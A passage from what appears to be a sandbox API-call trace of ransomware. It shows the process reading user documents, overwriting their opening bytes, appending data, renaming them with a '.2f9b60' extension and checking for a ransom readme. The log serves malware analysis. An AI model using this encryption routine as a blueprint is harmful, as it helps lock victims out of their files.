(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ap6M_DcE.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ap6m_dce.doc")) returned 0x20 [0092.278] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ap6M_DcE.doc", dwFileAttributes=0x20) returned 1 [0092.279] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ap6M_DcE.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ap6m_dce.doc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd88 [0092.279] GetFileSizeEx (in: hFile=0xd88, lpFileSize=0x2077f8a0 | out: lpFileSize=0x2077f8a0*=58350) returned 1 [0092.279] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0xe3ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.279] ReadFile (in: hFile=0xd88, lpBuffer=0x2077f820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2077f868, lpOverlapped=0x0 | out: lpBuffer=0x2077f820*, lpNumberOfBytesRead=0x2077f868*=0x4, lpOverlapped=0x0) returned 1 [0092.280] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b050 [0092.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b170 [0092.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b140 [0092.280] NtQuerySystemTime (in: CurrentTime=0x2077f760 | out: CurrentTime=0x2077f760*=132462176981158000) returned 0x0 [0092.280] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x2e9a43f2 [0092.280] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x76e0cda8 [0092.280] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x1998a665 [0092.280] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x7964fa55 [0092.280] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x3abe3c33 [0092.281] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x53512b32 [0092.281] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x5addbdc7 [0092.281] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x538967c2 [0092.281] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x6edf9e27 [0092.281] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x62671575 [0092.281] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x55a3ceb0 [0092.281] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x17f4de7b [0092.281] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x53b5d30e [0092.281] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x545fa382 [0092.281] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x3be2bb96 [0092.281] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x6121b41e [0092.281] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x1cab3bda [0092.281] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x258b98ee [0092.281] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x5b554c86 [0092.281] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x6f67b7f8 [0092.281] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x403b7f5f [0092.281] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x2056b414 [0092.281] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x7e8876d6 [0092.281] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x13be640a [0092.281] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x282392cc [0092.281] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x51e997e4 [0092.281] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x1da5d87c [0092.281] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x8c88455 [0092.281] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x2364d14 [0092.282] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x6ff1bc9d [0092.282] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0xeef51ed [0092.282] RtlRandomEx (in: Seed=0x2077f750 | out: Seed=0x2077f750) returned 0x36cd93ef [0092.292] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.292] ReadFile (in: hFile=0xd88, lpBuffer=0x20153cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2077f7c0, lpOverlapped=0x0 | out: lpBuffer=0x20153cc0*, lpNumberOfBytesRead=0x2077f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0092.292] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d970 [0092.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b050 [0092.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b050) returned 1 [0092.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20175950 [0092.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b050 [0092.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b140 [0092.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b140) returned 1 [0092.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0092.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.293] WriteFile (in: hFile=0xd88, lpBuffer=0x20175950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2077f7c0, lpOverlapped=0x0 | out: lpBuffer=0x20175950*, lpNumberOfBytesWritten=0x2077f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0092.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20175950) returned 1 [0092.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20153cc0) returned 1 [0092.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b82b140 [0092.297] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.297] WriteFile (in: hFile=0xd88, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2077f870, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x2077f870*=0x10a, lpOverlapped=0x0) returned 1 [0092.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166e00) returned 1 [0092.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4d0) returned 1 [0092.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ad80) returned 1 [0092.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b140) returned 1 [0092.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b050) returned 1 [0092.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b170) returned 1 [0092.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b350) returned 1 [0092.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b1a0) returned 1 [0092.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b79d970 [0092.299] wcscpy (in: _Dest=0x1b79d970, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ap6M_DcE.doc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ap6M_DcE.doc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ap6M_DcE.doc" [0092.299] wcscat (in: _Dest=0x1b79d970, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ap6M_DcE.doc.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ap6M_DcE.doc.2f9b60" [0092.299] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ap6M_DcE.doc.2f9b60", NtPathName=0x2077f890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ap6M_DcE.doc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1b7ad2a0 [0092.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0092.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0092.301] NtQueryInformationFile (in: FileHandle=0xd88, IoStatusBlock=0x2077f8f8, FileInformation=0x2077f908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2077f8f8, FileInformation=0x2077f908) returned 0x0 [0092.301] NtSetInformationFile (FileHandle=0xd88, IoStatusBlock=0x2077f8f8, FileInformation=0x2077f908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0092.304] FlushFileBuffers (hFile=0xd88) returned 1 [0092.305] CloseHandle (hObject=0xd88) returned 1 [0092.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79d970 [0092.306] wcscpy (in: _Dest=0x1b79d970, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.306] wcscat (in: _Dest=0x1b79d970, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.306] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0092.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 Thread: id = 494 os_tid = 0xc8c [0092.314] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\bEfEj.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\befej.pptx")) returned 0x20 [0092.314] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\bEfEj.pptx", dwFileAttributes=0x20) returned 1 [0092.315] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\bEfEj.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\befej.pptx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd88 [0092.315] GetFileSizeEx (in: hFile=0xd88, lpFileSize=0x218ef760 | out: lpFileSize=0x218ef760*=65899) returned 1 [0092.315] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x10167, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.315] ReadFile (in: hFile=0xd88, lpBuffer=0x218ef6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x218ef728, lpOverlapped=0x0 | out: lpBuffer=0x218ef6e0*, lpNumberOfBytesRead=0x218ef728*=0x4, lpOverlapped=0x0) returned 1 [0092.316] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0092.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1a0 [0092.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b350 [0092.316] NtQuerySystemTime (in: CurrentTime=0x218ef620 | out: CurrentTime=0x218ef620*=132462176981470000) returned 0x0 [0092.316] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x659e58ff [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x36a8b0b8 [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x7e949a86 [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x725a4249 [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x23a315d4 [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x60299d7 [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x79cf9235 [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x1d9d1bb4 [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x63877de7 [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x5b3fc96 [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x4624de50 [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x33444ca6 [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x5e7b42d8 [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x72787ce2 [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x3d9351b0 [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x3679f521 [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x6a56c707 [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x56f5197d [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x5e9fc425 [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x56b77e02 [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x4a25c25f [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x1d12e52d [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x7e5a5783 [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0xe792d60 [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x3d645a36 [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x5300ea [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x687fe971 [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x47829c9c [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x5d3abf77 [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x32878745 [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x13252352 [0092.317] RtlRandomEx (in: Seed=0x218ef610 | out: Seed=0x218ef610) returned 0x13d12ea5 [0092.327] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.327] ReadFile (in: hFile=0xd88, lpBuffer=0x20153cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x218ef680, lpOverlapped=0x0 | out: lpBuffer=0x20153cc0*, lpNumberOfBytesRead=0x218ef680*=0x3c00, lpOverlapped=0x0) returned 1 [0092.328] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0092.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0092.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b080) returned 1 [0092.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20175950 [0092.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0092.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b350 [0092.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b350) returned 1 [0092.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0092.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.328] WriteFile (in: hFile=0xd88, lpBuffer=0x20175950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x218ef680, lpOverlapped=0x0 | out: lpBuffer=0x20175950*, lpNumberOfBytesWritten=0x218ef680*=0x3c00, lpOverlapped=0x0) returned 1 [0092.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20175950) returned 1 [0092.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20153cc0) returned 1 [0092.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b82b350 [0092.330] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.330] WriteFile (in: hFile=0xd88, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x218ef730, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x218ef730*=0x106, lpOverlapped=0x0) returned 1 [0092.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0092.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4d0 [0092.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4d0) returned 1 [0092.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0092.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4d0 [0092.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a870 [0092.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a870) returned 1 [0092.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0092.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9ebb0 [0092.332] sprintf (in: _Dest=0x1cd9ebb0, _Format="%c%c" | out: _Dest="67") returned 2 [0092.332] sprintf (in: _Dest=0x1cd9ebb2, _Format="%c%c" | out: _Dest="b3") returned 2 [0092.332] sprintf (in: _Dest=0x1cd9ebb4, _Format="%c%c" | out: _Dest="e9") returned 2 [0092.332] sprintf (in: _Dest=0x1cd9ebb6, _Format="%c%c" | out: _Dest="01") returned 2 [0092.332] sprintf (in: _Dest=0x1cd9ebb8, _Format="%c%c" | out: _Dest="54") returned 2 [0092.333] sprintf (in: _Dest=0x1cd9ebba, _Format="%c%c" | out: _Dest="a4") returned 2 [0092.333] sprintf (in: _Dest=0x1cd9ebbc, _Format="%c%c" | out: _Dest="d6") returned 2 [0092.333] sprintf (in: _Dest=0x1cd9ebbe, _Format="%c%c" | out: _Dest="99") returned 2 [0092.333] sprintf (in: _Dest=0x1cd9ebc0, _Format="%c%c" | out: _Dest="25") returned 2 [0092.333] sprintf (in: _Dest=0x1cd9ebc2, _Format="%c%c" | out: _Dest="c6") returned 2 [0092.333] sprintf (in: _Dest=0x1cd9ebc4, _Format="%c%c" | out: _Dest="9f") returned 2 [0092.333] sprintf (in: _Dest=0x1cd9ebc6, _Format="%c%c" | out: _Dest="35") returned 2 [0092.333] sprintf (in: _Dest=0x1cd9ebc8, _Format="%c%c" | out: _Dest="de") returned 2 [0092.333] sprintf (in: _Dest=0x1cd9ebca, _Format="%c%c" | out: _Dest="b2") returned 2 [0092.333] sprintf (in: _Dest=0x1cd9ebcc, _Format="%c%c" | out: _Dest="92") returned 2 [0092.333] sprintf (in: _Dest=0x1cd9ebce, _Format="%c%c" | out: _Dest="08") returned 2 [0092.333] sprintf (in: _Dest=0x1cd9ebd0, _Format="%c%c" | out: _Dest="5a") returned 2 [0092.333] sprintf (in: _Dest=0x1cd9ebd2, _Format="%c%c" | out: _Dest="81") returned 2 [0092.333] sprintf (in: _Dest=0x1cd9ebd4, _Format="%c%c" | out: _Dest="9c") returned 2 [0092.333] sprintf (in: _Dest=0x1cd9ebd6, _Format="%c%c" | out: _Dest="3a") returned 2 [0092.333] RtlInitAnsiString (in: DestinationString=0x218ef7a8, SourceString="67b3e90154a4d69925c69f35deb292085a819c3a" | out: DestinationString="67b3e90154a4d69925c69f35deb292085a819c3a") [0092.333] RtlAnsiStringToUnicodeString (in: DestinationString=0x218ef778, SourceString="67b3e90154a4d69925c69f35deb292085a819c3a", AllocateDestinationString=1 | out: DestinationString="67b3e90154a4d69925c69f35deb292085a819c3a") returned 0x0 [0092.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9d030 [0092.333] wcscat (in: _Dest=0x1b79dcf0, _Source="67b3e90154" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\67b3e90154") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\67b3e90154" [0092.333] wcscat (in: _Dest=0x1b79dcf0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\67b3e90154.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\67b3e90154.2f9b60" [0092.334] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\67b3e90154.2f9b60", NtPathName=0x218ef750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\67b3e90154.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1b7ad2a0 [0092.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0092.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0092.336] NtQueryInformationFile (in: FileHandle=0xd88, IoStatusBlock=0x218ef7b8, FileInformation=0x218ef7c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x218ef7b8, FileInformation=0x218ef7c8) returned 0x0 [0092.336] NtSetInformationFile (FileHandle=0xd88, IoStatusBlock=0x218ef7b8, FileInformation=0x218ef7c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0092.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d030) returned 1 [0092.337] FlushFileBuffers (hFile=0xd88) returned 1 [0092.338] CloseHandle (hObject=0xd88) returned 1 [0092.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79dcf0 [0092.340] wcscpy (in: _Dest=0x1b79dcf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.340] wcscat (in: _Dest=0x1b79dcf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.340] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0092.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1aa0) returned 1 Thread: id = 495 os_tid = 0xc90 [0092.351] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\bHu3PmRuAA56Wf.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bhu3pmruaa56wf.pptx")) returned 0x20 [0092.351] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\bHu3PmRuAA56Wf.pptx", dwFileAttributes=0x20) returned 1 [0092.351] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\bHu3PmRuAA56Wf.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bhu3pmruaa56wf.pptx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd88 [0092.352] GetFileSizeEx (in: hFile=0xd88, lpFileSize=0x217bfa20 | out: lpFileSize=0x217bfa20*=20421) returned 1 [0092.352] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x4fc1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.355] ReadFile (in: hFile=0xd88, lpBuffer=0x217bf9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x217bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x217bf9a0*, lpNumberOfBytesRead=0x217bf9e8*=0x4, lpOverlapped=0x0) returned 1 [0092.356] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 